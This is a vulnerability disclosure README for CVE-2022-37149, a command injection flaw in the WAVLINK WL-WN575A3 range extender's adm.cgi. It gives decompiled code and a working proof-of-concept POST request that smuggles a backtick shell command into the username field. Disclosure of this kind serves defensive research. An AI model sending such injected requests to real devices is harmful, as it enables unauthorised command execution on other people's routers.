

main

...

iot-vul / WAVLINK / WN575A3 / Readme.md



fxc233 Update Readme.md

History

1 contributor

61 lines (31 sloc) | 2.33 KB

...

Information

Vendor of the products:WAVLINK

Reported by: FeiXincheng(FXC030618@outlook.com) &&
WangJincheng(wjcwint@outlook.com) && ShaLetian(ltsha@njupt.edu.cn) from X1cT34m

Affected products:WAVLINK WL-WN575A3

Affected firmware version: RPT75A3.V4300.201217

Vendor Homepage: https://www.wavlink.com/en_us

Vendor Advisory: https://www.wavlink.com/en_us/firmware/details/fac744bd61.html


CVE_ID:CVE-2022-37149

Summarize

WAVLINK WL-WN575A3 was discovered to contain a command injection vulnerability when operate the file `adm.cgi`. This vulnerability allows attackers to execute arbitrary commands via the `username` parameter.

Show the product

Wavlink WL-WN575A3 is a AC1200 Dual-band Wi-Fi Range Extender. The test version here is RPT75A3.V4300.201217






This Device


Repeater


100%




Router


Speed



0KB/S 


2KB/S 

Clients



1


Internet




Connected

Device Information


WAN Type	Repeater	2.4G SSID	wjc_EXT2G
Device IP	192.168.10.1	AC SSID	wjc_EXT5G
WAN IP	192.168.0.103	Connect to	wjc
DNS1	192.168.1.1	Status	Connected
DNS2	192.168.0.1	UpTime	0 Day 2 h 40 m
WAN MAC	82:3F:5D:0B:08:F9	Firmware	RPT75A3.V4300.201217




Status



Wizard



Wi-Fi



Setup

Vulnerability details

The vulnerability is detected at `/etc_ro/lighttpd/www/cgi-bin/adm.cgi`

At first, from the `_start` entry enters, and then the `ftext` function is executed.

```
1 void __noreturn _start(int a1, int a2, int a3, int a4, int a5, ...)
2 {
3     int v5; // $v0
4     _DWORD v6[5]; // [sp-10h] [-20h] BYREF
5     int v7; // [sp+4h] [-Ch]
6     _DWORD *v8; // [sp+8h] [-8h]
7     va_list va; // [sp+14h] [+4h] BYREF
8
9     va_start(va, a5);
10    v6[4] = term_proc;
11    v7 = v5;
12    v8 = v6;
13    _uClibc_main(ftext, a5, (char *)va, init_proc);
14    while ( 1 )
15        ;
16 }
```

In the function `ftext`, we find that we can control the content of `page` field is `sysinit`, we can execute the `set_sys_init` function.

```
    set_sys_adm(v38, 4259840);
}
else if ( !strcmp(v43, "sysinit") )
{
    set_sys_init((int)v38);
}
- . . . . .
```

In the function `set_sys_init`, the program uses function `web_get` to obtain the content of parameter `username`, `newpass` which are sent by `POST` request. Then, when `newpass != 0`, the content `username` is formatted into a string passed as an argument to the function `do_system` which can execute system commands.

```
v3 = (const char *)nvram_bufget(0, "Login");
v2 = (const char *)web_get("username", a1, 0);
v5 = strdup(v2);
v4 = (const char *)web_get("newpass", a1, 0);
v6 = strdup(v4);
v7 = a1;
v9 = v6;
v8 = (const char *)web_get("SSID2G", v7, 0);
v10 = strdup(v8);
```

```

nvram_bufset(1, "SSID1", v10);
sleep(1u);
do_system("sed -e 's/^%s:/%s:/' /etc/passwd > /etc/newpw", v3, v5);
do_system("cp /etc/newpw /etc/passwd");
do_system("rm -f /etc/newpw");
do_system("chpasswd.sh %s %s", v5, v9);
nvram_bufset(0, "Login", v5);
nvram_bufset(0, "Password", v9);
nvram_commit(0);
sprintf(v15, "echo \"%s:%s\" > /etc/lighttpd.user", v5, v9);
system(v15);

```

poc

Send the following to the URL <http://wifi.wavlink.com/cgi-bin/adm.cgi> by POST request.

```
page=sysinit&username=fxc`ls>/etc_ro/lighttpd/www/fxc.html`
```

Before attack

← → ↻ ▲ 不安全 | ap.setup/fxc.html

404 - Not Found

After attack

← → ↻ ▲ 不安全 | ap.setup/fxc.html

login.cgi upload.cgi adm.cgi PatchList upload_settings.cgi ExportSettings.sh qos.cgi wireless.cgi firewall.cgi internet.cgi history.sh History